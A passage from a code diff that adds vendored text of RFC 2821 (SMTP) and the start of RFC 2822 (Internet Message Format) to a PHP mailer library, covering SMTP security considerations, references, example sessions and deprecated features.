so does the + knowledge that SMTP mail inherently cannot be authenticated, or + integrity checks provided, at the transport level. Real mail + security lies only in end-to-end methods involving the message + bodies, such as those which use digital signatures (see [14] and, + e.g., PGP [4] or S/MIME [31]). + + Various protocol extensions and configuration options that provide + authentication at the transport level (e.g., from an SMTP client to + an SMTP server) improve somewhat on the traditional situation + described above. However, unless they are accompanied by careful + handoffs of responsibility in a carefully-designed trust environment, + they remain inherently weaker than end-to-end mechanisms which use + digitally signed messages rather than depending on the integrity of + the transport system. + + + + +Klensin Standards Track [Page 64] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + Efforts to make it more difficult for users to set envelope return + path and header "From" fields to point to valid addresses other than + their own are largely misguided: they frustrate legitimate + applications in which mail is sent by one user on behalf of another + or in which error (or normal) replies should be directed to a special + address. (Systems that provide convenient ways for users to alter + these fields on a per-message basis should attempt to establish a + primary and permanent mailbox address for the user so that Sender + fields within the message data can be generated sensibly.) + + This specification does not further address the authentication issues + associated with SMTP other than to advocate that useful functionality + not be disabled in the hope of providing some small margin of + protection against an ignorant user who is trying to fake mail. + +7.2 "Blind" Copies + + Addresses that do not appear in the message headers may appear in the + RCPT commands to an SMTP server for a number of reasons. The two + most common involve the use of a mailing address as a "list exploder" + (a single address that resolves into multiple addresses) and the + appearance of "blind copies". Especially when more than one RCPT + command is present, and in order to avoid defeating some of the + purpose of these mechanisms, SMTP clients and servers SHOULD NOT copy + the full set of RCPT command arguments into the headers, either as + part of trace headers or as informational or private-extension + headers. Since this rule is often violated in practice, and cannot + be enforced, sending SMTP systems that are aware of "bcc" use MAY + find it helpful to send each blind copy as a separate message + transaction containing only a single RCPT command. + + There is no inherent relationship between either "reverse" (from + MAIL, SAML, etc., commands) or "forward" (RCPT) addresses in the SMTP + transaction ("envelope") and the addresses in the headers. Receiving + systems SHOULD NOT attempt to deduce such relationships and use them + to alter the headers of the message for delivery. The popular + "Apparently-to" header is a violation of this principle as well as a + common source of unintended information disclosure and SHOULD NOT be + used. + +7.3 VRFY, EXPN, and Security + + As discussed in section 3.5, individual sites may want to disable + either or both of VRFY or EXPN for security reasons. As a corollary + to the above, implementations that permit this MUST NOT appear to + have verified addresses that are not, in fact, verified. If a site + + + + + +Klensin Standards Track [Page 65] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + disables these commands for security reasons, the SMTP server MUST + return a 252 response, rather than a code that could be confused with + successful or unsuccessful verification. + + Returning a 250 reply code with the address listed in the VRFY + command after having checked it only for syntax violates this rule. + Of course, an implementation that "supports" VRFY by always returning + 550 whether or not the address is valid is equally not in + conformance. + + Within the last few years, the contents of mailing lists have become + popular as an address information source for so-called "spammers." + The use of EXPN to "harvest" addresses has increased as list + administrators have installed protections against inappropriate uses + of the lists themselves. Implementations SHOULD still provide + support for EXPN, but sites SHOULD carefully evaluate the tradeoffs. + As authentication mechanisms are introduced into SMTP, some sites may + choose to make EXPN available only to authenticated requestors. + +7.4 Information Disclosure in Announcements + + There has been an ongoing debate about the tradeoffs between the + debugging advantages of announcing server type and version (and, + sometimes, even server domain name) in the greeting response or in + response to the HELP command and the disadvantages of exposing + information that might be useful in a potential hostile attack. The + utility of the debugging information is beyond doubt. Those who + argue for making it available point out that it is far better to + actually secure an SMTP server rather than hope that trying to + conceal known vulnerabilities by hiding the server's precise identity + will provide more protection. Sites are encouraged to evaluate the + tradeoff with that issue in mind; implementations are strongly + encouraged to minimally provide for making type and version + information available in some way to other network hosts. + +7.5 Information Disclosure in Trace Fields + + In some circumstances, such as when mail originates from within a LAN + whose hosts are not directly on the public Internet, trace + ("Received") fields produced in conformance with this specification + may disclose host names and similar information that would not + normally be available. This ordinarily does not pose a problem, but + sites with special concerns about name disclosure should be aware of + it. Also, the optional FOR clause should be supplied with caution or + not at all when multiple recipients are involved lest it + inadvertently disclose the identities of "blind copy" recipients to + others. + + + + +Klensin Standards Track [Page 66] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +7.6 Information Disclosure in Message Forwarding + + As discussed in section 3.4, use of the 251 or 551 reply codes to + identify the replacement address associated with a mailbox may + inadvertently disclose sensitive information. Sites that are + concerned about those issues should ensure that they select and + configure servers appropriately. + +7.7 Scope of Operation of SMTP Servers + + It is a well-established principle that an SMTP server may refuse to + accept mail for any operational or technical reason that makes sense + to the site providing the server. However, cooperation among sites + and installations makes the Internet possible. If sites take + excessive advantage of the right to reject traffic, the ubiquity of + email availability (one of the strengths of the Internet) will be + threatened; considerable care should be taken and balance maintained + if a site decides to be selective about the traffic it will accept + and process. + + In recent years, use of the relay function through arbitrary sites + has been used as part of hostile efforts to hide the actual origins + of mail. Some sites have decided to limit the use of the relay + function to known or identifiable sources, and implementations SHOULD + provide the capability to perform this type of filtering. When mail + is rejected for these or other policy reasons, a 550 code SHOULD be + used in response to EHLO, MAIL, or RCPT as appropriate. + +8. IANA Considerations + + IANA will maintain three registries in support of this specification. + The first consists of SMTP service extensions with the associated + keywords, and, as needed, parameters and verbs. As specified in + section 2.2.2, no entry may be made in this registry that starts in + an "X". Entries may be made only for service extensions (and + associated keywords, parameters, or verbs) that are defined in + standards-track or experimental RFCs specifically approved by the + IESG for this purpose. + + The second registry consists of "tags" that identify forms of domain + literals other than those for IPv4 addresses (specified in RFC 821 + and in this document) and IPv6 addresses (specified in this + document). Additional literal types require standardization before + being used; none are anticipated at this time. + + The third, established by RFC 821 and renewed by this specification, + is a registry of link and protocol identifiers to be used with the + "via" and "with" subclauses of the time stamp ("Received: header") + + + +Klensin Standards Track [Page 67] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + described in section 4.4. Link and protocol identifiers in addition + to those specified in this document may be registered only by + standardization or by way of an RFC-documented, IESG-approved, + Experimental protocol extension. + +9. References + + [1] American National Standards Institute (formerly United States of + America Standards Institute), X3.4, 1968, "USA Code for + Information Interchange". ANSI X3.4-1968 has been replaced by + newer versions with slight modifications, but the 1968 version + remains definitive for the Internet. + + [2] Braden, R., "Requirements for Internet hosts - application and + support", STD 3, RFC 1123, October 1989. + + [3] Butler, M., Chase, D., Goldberger, J., Postel, J. and J. + Reynolds, "Post Office Protocol - version 2", RFC 937, February + 1985. + + [4] Callas, J., Donnerhacke, L., Finney, H. and R. Thayer, "OpenPGP + Message Format", RFC 2440, November 1998. + + [5] Crispin, M., "Interactive Mail Access Protocol - Version 2", RFC + 1176, August 1990. + + [6] Crispin, M., "Internet Message Access Protocol - Version 4", RFC + 2060, December 1996. + + [7] Crocker, D., "Standard for the Format of ARPA Internet Text + Messages", RFC 822, August 1982. + + [8] Crocker, D. and P. Overell, Eds., "Augmented BNF for Syntax + Specifications: ABNF", RFC 2234, November 1997. + + [9] De Winter, J., "SMTP Service Extension for Remote Message Queue + Starting", RFC 1985, August 1996. + + [10] Fajman, R., "An Extensible Message Format for Message + Disposition Notifications", RFC 2298, March 1998. + + [11] Freed, N, "Behavior of and Requirements for Internet Firewalls", + RFC 2979, October 2000. + + [12] Freed, N. and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part One: Format of Internet Message Bodies", + RFC 2045, December 1996. + + + + +Klensin Standards Track [Page 68] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + [13] Freed, N., "SMTP Service Extension for Command Pipelining", RFC + 2920, September 2000. + + [14] Galvin, J., Murphy, S., Crocker, S. and N. Freed, "Security + Multiparts for MIME: Multipart/Signed and Multipart/Encrypted", + RFC 1847, October 1995. + + [15] Gellens, R. and J. Klensin, "Message Submission", RFC 2476, + December 1998. + + [16] Kille, S., "Mapping between X.400 and RFC822/MIME", RFC 2156, + January 1998. + + [17] Hinden, R and S. Deering, Eds. "IP Version 6 Addressing + Architecture", RFC 2373, July 1998. + + [18] Klensin, J., Freed, N. and K. Moore, "SMTP Service Extension for + Message Size Declaration", STD 10, RFC 1870, November 1995. + + [19] Klensin, J., Freed, N., Rose, M., Stefferud, E. and D. Crocker, + "SMTP Service Extensions", STD 10, RFC 1869, November 1995. + + [20] Klensin, J., Freed, N., Rose, M., Stefferud, E. and D. Crocker, + "SMTP Service Extension for 8bit-MIMEtransport", RFC 1652, July + 1994. + + [21] Lambert, M., "PCMAIL: A distributed mail system for personal + computers", RFC 1056, July 1988. + + [22] Mockapetris, P., "Domain names - implementation and + specification", STD 13, RFC 1035, November 1987. + + Mockapetris, P., "Domain names - concepts and facilities", STD + 13, RFC 1034, November 1987. + + [23] Moore, K., "MIME (Multipurpose Internet Mail Extensions) Part + Three: Message Header Extensions for Non-ASCII Text", RFC 2047, + December 1996. + + [24] Moore, K., "SMTP Service Extension for Delivery Status + Notifications", RFC 1891, January 1996. + + [25] Moore, K., and G. Vaudreuil, "An Extensible Message Format for + Delivery Status Notifications", RFC 1894, January 1996. + + [26] Myers, J. and M. Rose, "Post Office Protocol - Version 3", STD + 53, RFC 1939, May 1996. + + + + +Klensin Standards Track [Page 69] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + [27] Partridge, C., "Mail routing and the domain system", RFC 974, + January 1986. + + [28] Partridge, C., "Duplicate messages and SMTP", RFC 1047, February + 1988. + + [29] Postel, J., ed., "Transmission Control Protocol - DARPA Internet + Program Protocol Specification", STD 7, RFC 793, September 1981. + + [30] Postel, J., "Simple Mail Transfer Protocol", RFC 821, August + 1982. + + [31] Ramsdell, B., Ed., "S/MIME Version 3 Message Specification", RFC + 2633, June 1999. + + [32] Resnick, P., Ed., "Internet Message Format", RFC 2822, April + 2001. + + [33] Vaudreuil, G., "SMTP Service Extensions for Transmission of + Large and Binary MIME Messages", RFC 1830, August 1995. + + [34] Vaudreuil, G., "Enhanced Mail System Status Codes", RFC 1893, + January 1996. + +10. Editor's Address + + John C. Klensin + AT&T Laboratories + 99 Bedford St + Boston, MA 02111 USA + + Phone: 617-574-3076 + EMail: klensin@research.att.com + +11. Acknowledgments + + Many people worked long and hard on the many iterations of this + document. There was wide-ranging debate in the IETF DRUMS Working + Group, both on its mailing list and in face to face discussions, + about many technical issues and the role of a revised standard for + Internet mail transport, and many contributors helped form the + wording in this specification. The hundreds of participants in the + many discussions since RFC 821 was produced are too numerous to + mention, but they all helped this document become what it is. + + + + + + + +Klensin Standards Track [Page 70] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +APPENDICES + +A. TCP Transport Service + + The TCP connection supports the transmission of 8-bit bytes. The + SMTP data is 7-bit ASCII characters. Each character is transmitted + as an 8-bit byte with the high-order bit cleared to zero. Service + extensions may modify this rule to permit transmission of full 8-bit + data bytes as part of the message body, but not in SMTP commands or + responses. + +B. Generating SMTP Commands from RFC 822 Headers + + Some systems use RFC 822 headers (only) in a mail submission + protocol, or otherwise generate SMTP commands from RFC 822 headers + when such a message is handed to an MTA from a UA. While the MTA-UA + protocol is a private matter, not covered by any Internet Standard, + there are problems with this approach. For example, there have been + repeated problems with proper handling of "bcc" copies and + redistribution lists when information that conceptually belongs to a + mail envelopes is not separated early in processing from header + information (and kept separate). + + It is recommended that the UA provide its initial ("submission + client") MTA with an envelope separate from the message itself. + However, if the envelope is not supplied, SMTP commands SHOULD be + generated as follows: + + 1. Each recipient address from a TO, CC, or BCC header field SHOULD + be copied to a RCPT command (generating multiple message copies if + that is required for queuing or delivery). This includes any + addresses listed in a RFC 822 "group". Any BCC fields SHOULD then + be removed from the headers. Once this process is completed, the + remaining headers SHOULD be checked to verify that at least one + To:, Cc:, or Bcc: header remains. If none do, then a bcc: header + with no additional information SHOULD be inserted as specified in + [32]. + + 2. The return address in the MAIL command SHOULD, if possible, be + derived from the system's identity for the submitting (local) + user, and the "From:" header field otherwise. If there is a + system identity available, it SHOULD also be copied to the Sender + header field if it is different from the address in the From + header field. (Any Sender field that was already there SHOULD be + removed.) Systems may provide a way for submitters to override + the envelope return address, but may want to restrict its use to + privileged users. This will not prevent mail forgery, but may + lessen its incidence; see section 7.1. + + + +Klensin Standards Track [Page 71] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + When an MTA is being used in this way, it bears responsibility for + ensuring that the message being transmitted is valid. The mechanisms + for checking that validity, and for handling (or returning) messages + that are not valid at the time of arrival, are part of the MUA-MTA + interface and not covered by this specification. + + A submission protocol based on Standard RFC 822 information alone + MUST NOT be used to gateway a message from a foreign (non-SMTP) mail + system into an SMTP environment. Additional information to construct + an envelope must come from some source in the other environment, + whether supplemental headers or the foreign system's envelope. + + Attempts to gateway messages using only their header "to" and "cc" + fields have repeatedly caused mail loops and other behavior adverse + to the proper functioning of the Internet mail environment. These + problems have been especially common when the message originates from + an Internet mailing list and is distributed into the foreign + environment using envelope information. When these messages are then + processed by a header-only remailer, loops back to the Internet + environment (and the mailing list) are almost inevitable. + +C. Source Routes + + Historically, the was a reverse source routing list of + hosts and a source mailbox. The first host in the + SHOULD be the host sending the MAIL command. Similarly, the + may be a source routing lists of hosts and a + destination mailbox. However, in general, the SHOULD + contain only a mailbox and domain name, relying on the domain name + system to supply routing information if required. The use of source + routes is deprecated; while servers MUST be prepared to receive and + handle them as discussed in section 3.3 and F.2, clients SHOULD NOT + transmit them and this section was included only to provide context. + + For relay purposes, the forward-path may be a source route of the + form "@ONE,@TWO:JOE@THREE", where ONE, TWO, and THREE MUST BE fully- + qualified domain names. This form is used to emphasize the + distinction between an address and a route. The mailbox is an + absolute address, and the route is information about how to get + there. The two concepts should not be confused. + + If source routes are used, RFC 821 and the text below should be + consulted for the mechanisms for constructing and updating the + forward- and reverse-paths. + + + + + + + +Klensin Standards Track [Page 72] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + The SMTP server transforms the command arguments by moving its own + identifier (its domain name or that of any domain for which it is + acting as a mail exchanger), if it appears, from the forward-path to + the beginning of the reverse-path. + + Notice that the forward-path and reverse-path appear in the SMTP + commands and replies, but not necessarily in the message. That is, + there is no need for these paths and especially this syntax to appear + in the "To:" , "From:", "CC:", etc. fields of the message header. + Conversely, SMTP servers MUST NOT derive final message delivery + information from message header fields. + + When the list of hosts is present, it is a "reverse" source route and + indicates that the mail was relayed through each host on the list + (the first host in the list was the most recent relay). This list is + used as a source route to return non-delivery notices to the sender. + As each relay host adds itself to the beginning of the list, it MUST + use its name as known in the transport environment to which it is + relaying the mail rather than that of the transport environment from + which the mail came (if they are different). + +D. Scenarios + + This section presents complete scenarios of several types of SMTP + sessions. In the examples, "C:" indicates what is said by the SMTP + client, and "S:" indicates what is said by the SMTP server. + +D.1 A Typical SMTP Transaction Scenario + + This SMTP example shows mail sent by Smith at host bar.com, to Jones, + Green, and Brown at host foo.com. Here we assume that host bar.com + contacts host foo.com directly. The mail is accepted for Jones and + Brown. Green does not have a mailbox at host foo.com. + + S: 220 foo.com Simple Mail Transfer Service Ready + C: EHLO bar.com + S: 250-foo.com greets bar.com + S: 250-8BITMIME + S: 250-SIZE + S: 250-DSN + S: 250 HELP + C: MAIL FROM: + S: 250 OK + C: RCPT TO: + S: 250 OK + C: RCPT TO: + S: 550 No such user here + C: RCPT TO: + + + +Klensin Standards Track [Page 73] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + S: 250 OK + C: DATA + S: 354 Start mail input; end with . + C: Blah blah blah... + C: ...etc. etc. etc. + C: . + S: 250 OK + C: QUIT + S: 221 foo.com Service closing transmission channel + +D.2 Aborted SMTP Transaction Scenario + + S: 220 foo.com Simple Mail Transfer Service Ready + C: EHLO bar.com + S: 250-foo.com greets bar.com + S: 250-8BITMIME + S: 250-SIZE + S: 250-DSN + S: 250 HELP + C: MAIL FROM: + S: 250 OK + C: RCPT TO: + S: 250 OK + C: RCPT TO: + S: 550 No such user here + C: RSET + S: 250 OK + C: QUIT + S: 221 foo.com Service closing transmission channel + +D.3 Relayed Mail Scenario + + Step 1 -- Source Host to Relay Host + + S: 220 foo.com Simple Mail Transfer Service Ready + C: EHLO bar.com + S: 250-foo.com greets bar.com + S: 250-8BITMIME + S: 250-SIZE + S: 250-DSN + S: 250 HELP + C: MAIL FROM: + S: 250 OK + C: RCPT TO:<@foo.com:Jones@XYZ.COM> + S: 250 OK + C: DATA + S: 354 Start mail input; end with . + C: Date: Thu, 21 May 1998 05:33:29 -0700 + + + +Klensin Standards Track [Page 74] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + C: From: John Q. Public + C: Subject: The Next Meeting of the Board + C: To: Jones@xyz.com + C: + C: Bill: + C: The next meeting of the board of directors will be + C: on Tuesday. + C: John. + C: . + S: 250 OK + C: QUIT + S: 221 foo.com Service closing transmission channel + + Step 2 -- Relay Host to Destination Host + + S: 220 xyz.com Simple Mail Transfer Service Ready + C: EHLO foo.com + S: 250 xyz.com is on the air + C: MAIL FROM:<@foo.com:JQP@bar.com> + S: 250 OK + C: RCPT TO: + S: 250 OK + C: DATA + S: 354 Start mail input; end with . + C: Received: from bar.com by foo.com ; Thu, 21 May 1998 + C: 05:33:29 -0700 + C: Date: Thu, 21 May 1998 05:33:22 -0700 + C: From: John Q. Public + C: Subject: The Next Meeting of the Board + C: To: Jones@xyz.com + C: + C: Bill: + C: The next meeting of the board of directors will be + C: on Tuesday. + C: John. + C: . + S: 250 OK + C: QUIT + S: 221 foo.com Service closing transmission channel + +D.4 Verifying and Sending Scenario + + S: 220 foo.com Simple Mail Transfer Service Ready + C: EHLO bar.com + S: 250-foo.com greets bar.com + S: 250-8BITMIME + S: 250-SIZE + S: 250-DSN + + + +Klensin Standards Track [Page 75] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + S: 250-VRFY + S: 250 HELP + C: VRFY Crispin + S: 250 Mark Crispin + C: SEND FROM: + S: 250 OK + C: RCPT TO: + S: 250 OK + C: DATA + S: 354 Start mail input; end with . + C: Blah blah blah... + C: ...etc. etc. etc. + C: . + S: 250 OK + C: QUIT + S: 221 foo.com Service closing transmission channel + +E. Other Gateway Issues + + In general, gateways between the Internet and other mail systems + SHOULD attempt to preserve any layering semantics across the + boundaries between the two mail systems involved. Gateway- + translation approaches that attempt to take shortcuts by mapping, + (such as envelope information from one system to the message headers + or body of another) have generally proven to be inadequate in + important ways. Systems translating between environments that do not + support both envelopes and headers and Internet mail must be written + with the understanding that some information loss is almost + inevitable. + +F. Deprecated Features of RFC 821 + + A few features of RFC 821 have proven to be problematic and SHOULD + NOT be used in Internet mail. + +F.1 TURN + + This command, described in RFC 821, raises important security issues + since, in the absence of strong authentication of the host requesting + that the client and server switch roles, it can easily be used to + divert mail from its correct destination. Its use is deprecated; + SMTP systems SHOULD NOT use it unless the server can authenticate the + client. + + + + + + + + +Klensin Standards Track [Page 76] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +F.2 Source Routing + + RFC 821 utilized the concept of explicit source routing to get mail + from one host to another via a series of relays. The requirement to + utilize source routes in regular mail traffic was eliminated by the + introduction of the domain name system "MX" record and the last + significant justification for them was eliminated by the + introduction, in RFC 1123, of a clear requirement that addresses + following an "@" must all be fully-qualified domain names. + Consequently, the only remaining justifications for the use of source + routes are support for very old SMTP clients or MUAs and in mail + system debugging. They can, however, still be useful in the latter + circumstance and for routing mail around serious, but temporary, + problems such as problems with the relevant DNS records. + + SMTP servers MUST continue to accept source route syntax as specified + in the main body of this document and in RFC 1123. They MAY, if + necessary, ignore the routes and utilize only the target domain in + the address. If they do utilize the source route, the message MUST + be sent to the first domain shown in the address. In particular, a + server MUST NOT guess at shortcuts within the source route. + + Clients SHOULD NOT utilize explicit source routing except under + unusual circumstances, such as debugging or potentially relaying + around firewall or mail system configuration errors. + +F.3 HELO + + As discussed in sections 3.1 and 4.1.1, EHLO is strongly preferred to + HELO when the server will accept the former. Servers must continue + to accept and process HELO in order to support older clients. + +F.4 #-literals + + RFC 821 provided for specifying an Internet address as a decimal + integer host number prefixed by a pound sign, "#". In practice, that + form has been obsolete since the introduction of TCP/IP. It is + deprecated and MUST NOT be used. + +F.5 Dates and Years + + When dates are inserted into messages by SMTP clients or servers + (e.g., in trace fields), four-digit years MUST BE used. Two-digit + years are deprecated; three-digit years were never permitted in the + Internet mail system. + + + + + + +Klensin Standards Track [Page 77] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +F.6 Sending versus Mailing + + In addition to specifying a mechanism for delivering messages to + user's mailboxes, RFC 821 provided additional, optional, commands to + deliver messages directly to the user's terminal screen. These + commands (SEND, SAML, SOML) were rarely implemented, and changes in + workstation technology and the introduction of other protocols may + have rendered them obsolete even where they are implemented. + + Clients SHOULD NOT provide SEND, SAML, or SOML as services. Servers + MAY implement them. If they are implemented by servers, the + implementation model specified in RFC 821 MUST be used and the + command names MUST be published in the response to the EHLO command. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Klensin Standards Track [Page 78] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +Full Copyright Statement + + Copyright (C) The Internet Society (2001). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implementation may be prepared, copied, published + and distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Acknowledgement + + Funding for the RFC Editor function is currently provided by the + Internet Society. + + + + + + + + + + + + + + + + + + + +Klensin Standards Track [Page 79] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2822.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2822.txt new file mode 100644 index 00000000..9f698f77 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2822.txt @@ -0,0 +1,2859 @@ + + + + + + +Network Working Group P. Resnick, Editor +Request for Comments: 2822 QUALCOMM Incorporated +Obsoletes: 822 April 2001 +Category: Standards Track + + + Internet Message Format + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (2001). All Rights Reserved. + +Abstract + + This standard specifies a syntax for text messages that are sent + between computer users, within the framework of "electronic mail" + messages. This standard supersedes the one specified in Request For + Comments (RFC) 822, "Standard for the Format of ARPA Internet Text + Messages", updating it to reflect current practice and incorporating + incremental changes that were specified in other RFCs. + +Table of Contents + + 1. Introduction ............................................... 3 + 1.1. Scope .................................................... 3 + 1.2. Notational conventions ................................... 4 + 1.2.1. Requirements notation .................................. 4 + 1.2.2. Syntactic notation ..................................... 4 + 1.3. Structure of this document ............................... 4 + 2. Lexical Analysis of Messages ............................... 5 + 2.1. General Description ...................................... 5 + 2.1.1. Line Length Limits ..................................... 6 + 2.2. Header Fields ............................................ 7 + 2.2.1. Unstructured Header Field Bodies ....................... 7 + 2.2.2. Structured Header Field Bodies ......................... 7 + 2.2.3. Long Header Fields ..................................... 7 + 2.3. Body ..................................................... 8 + 3. Syntax ..................................................... 9 + 3.1. Introduction ............................................. 9 + 3.2. Lexical Tokens ........................................... 9 + + + +Resnick Standards Track [Page 1] + +RFC 2822 Internet Message Format April 2001 + + + 3.2.1. Primitive Tokens ....................................... 9 + 3.2.2. Quoted characters ......................................10 + 3.2.3. Folding white space and comments .......................11 + 3.2.4. Atom ...................................................12 + 3.2.5. Quoted strings .........................................13 + 3.2.6. Miscellaneous tokens ...................................13 + 3.3. Date and Time Specification ..............................14 + 3.4. Address Specification ....................................15 + 3.4.1. Addr-spec specification ................................16 + 3.5 Overall message syntax ....................................17 + 3.6. Field definitions ........................................18 + 3.6.1. The origination date field .............................20 + 3.6.2. Originator fields ......................................21 + 3.6.3. Destination address fields .............................22 + 3.6.4. Identification fields ..................................23 + 3.6.5. Informational fields ...................................26 + 3.6.6. Resent fields ..........................................26 + 3.6.7. Trace fields ...........................................28 + 3.6.8. Optional fields ........................................29 + 4. Obsolete Syntax ............................................29 + 4.1. Miscellaneous obsolete tokens ............................30 + 4.2. Obsolete folding white space .............................31 + 4.3. Obsolete Date and Time ...................................31 + 4.4. Obsolete Addressing ......................................33 + 4.5. Obsolete header fields ...................................33 + 4.5.1. Obsolete origination date field ........................34 + 4.5.2. Obsolete originator fields .............................34 + 4.5.3. Obsolete destination address fields ....................34 + 4.5.4. Obsolete identification fields .........................35 + 4.5.5. Obsolete informational fields ..........................35 + 4.5.6. Obsolete resent fields .................................35 + 4.5.7. Obsolete trace fields ..................................36 + 4.5.8. Obsolete optional fields ...............................36 + 5. Security Considerations ....................................36 + 6. Bibliography ...............................................37 + 7. Editor's Address ...........................................38 + 8. Acknowledgements ...........................................39 + Appendix A. Example messages ..................................41 + A.1. Addressing examples ......................................41 + A.1.1. A message from one person to another with simple + addressing .............................................41 + A.1.2. Different types of mailboxes ...........................42 + A.1.3. Group addresses ........................................43 + A.2. Reply messages ...........................................43 + A.3. Resent messages ..........................................44 + A.4. Messages with trace fields ...............................46 + A.5. White space, comments, and other oddities ................47 + A.6. Obsoleted forms ..........................................47 + + + +Resnick Standards Track [Page 2] + +RFC 2822 Internet Message Format April 2001 + + + A.6.1. Obsolete addressing ....................................48 + A.6.2. Obsolete dates .........................................48 + A.6.3. Obsolete white space and comments ......................48 + Appendix B. Differences from earlier standards ................49 + Appendix C. Notices ...........................................50 + Full Copyright Statement ......................................51 + +1. Introduction + +1.1. Scope + + This standard specifies a syntax for text messages that are sent + between computer users, within the framework of "electronic mail" + messages. This standard supersedes the one specified in Request For + Comments (RFC) 822, "Standard for the Format of ARPA Internet Text + Messages" [RFC822], updating it to reflect current practice and + incorporating incremental changes that were specified in other RFCs + [STD3]. + + This standard specifies a syntax only for text messages. In + particular, it makes no provision for the transmission of images, + audio, or other sorts of structured data in electronic mail messages. + There are several extensions published, such as the MIME document + series [RFC2045, RFC2046, RFC2049], which describe mechanisms for the + transmission of such data through electronic mail, either by + extending the syntax provided here or by structuring such messages to + conform to this syntax. Those mechanisms are outside of the scope of + this standard. + + In the context of electronic mail, messages are viewed as having an + envelope and contents. The envelope contains whatever information is + needed to accomplish transmission and delivery. (See [RFC2821] for a + discussion of the envelope.) The contents comprise the object to be + delivered to the recipient. This standard applies only to the format + and some of the semantics of message contents. It contains no + specification of the information in the envelope. + + However, some message systems may use information from the contents + to create the envelope. It is intended that this standard facilitate + the acquisition of such information by programs. + + This specification is intended as a definition of what message + content format is to be passed between systems. Though some message + systems locally store messages in this format (which eliminates the + need for translation between formats) and others use formats that + differ from the one specified in this standard, local storage is + outside of the scope of this standard. + + + + +Resnick Standards Track [Page 3] + +RFC 2822 Internet Message Format April 2001 + + + Note: This standard is not intended to dictate the internal formats + used by sites, the specific message system features that they are + expected to support, or any of the characteristics of user interface + programs that create or read messages. In addition, this standard + does not specify an encoding of the characters for either transport + or storage; that is, it does not specify the number of bits used or + how those bits are specifically transferred over the wire or stored + on disk. + +1.2. Notational conventions + +1.2.1. Requirements notation + + This document occasionally uses terms that appear in capital letters. + When the terms "MUST", "SHOULD", "RECOMMENDED", "MUST NOT", "SHOULD + NOT", and "MAY" appear capitalized, they are being used to indicate + particular requirements of this specification. A discussion of the + meanings of these terms appears in [RFC2119]. + +1.2.2. Syntactic notation + + This standard uses the Augmented Backus-Naur Form (ABNF) notation + specified in [RFC2234] for the formal definitions of the syntax of + messages. Characters will be specified either by a decimal value + (e.g., the value %d65 for uppercase A and %d97 for lowercase A) or by + a case-insensitive literal value enclosed in quotation marks (e.g., + "A" for either uppercase or lowercase A). See [RFC2234] for the full + description of the notation. + +1.3. Structure of this document + + This document is divided into several sections. + + This section, section 1, is a short introduction to the document. + + Section 2 lays out the general description of a message and its + constituent parts. This is an overview to help the reader understand + some of the general principles used in the later portions of this + document. Any examples in this section MUST NOT be taken as + specification of the formal syntax of any part of a message. + + Section 3 specifies formal ABNF rules for the structure of each part + of a message (the syntax) and describes the relationship between + those parts and their meaning in the context of a message (the + semantics). That is, it describes the actual rules for the structure + of each part of a message (the syntax) as well as a description of + the parts and instructions on how they ought to be interpreted (the + semantics). This includes analysis of the syntax and semantics of + + + +Resnick Standards Track [Page 4] + +RFC 2822 Internet Message Format April 2001 + + + subparts of messages that have specific structure. The syntax + included in section 3 represents messages as they MUST be created. + There are also notes in section 3 to indicate if any of the options + specified in the syntax SHOULD be used over any of the others. + + Both sections 2 and 3 describe messages that are legal to generate + for purposes of this standard. + + Section 4 of this document specifies an "obsolete" syntax. There are + references in section 3 to these obsolete syntactic elements. The + rules of the obsolete syntax are elements that have appeared in + earlier revisions of this standard or have previously been widely + used in Internet messages. As such, these elements MUST be + interpreted by parsers of messages in order to be conformant to this + standard. However, since items in this syntax have been determined + to be non-interoperable or to cause significant problems for + recipients of messages, they MUST NOT be generated by creators of + conformant messages. + + Section 5 details security considerations to take into account when + implementing this standard. + + Section 6 is a bibliography of references in this document. + + Section 7 contains the editor's address. + + Section 8 contains acknowledgements. + + Appendix A lists examples of different sorts of messages. These + examples are not exhaustive of the types of messages that appear on + the Internet, but give a broad overview of certain syntactic forms. + + Appendix B lists the differences between this standard and earlier + standards for Internet messages. + + Appendix C has copyright and intellectual property notices. + +2. Lexical Analysis of Messages + +2.1. General Description + + At the most basic level, a 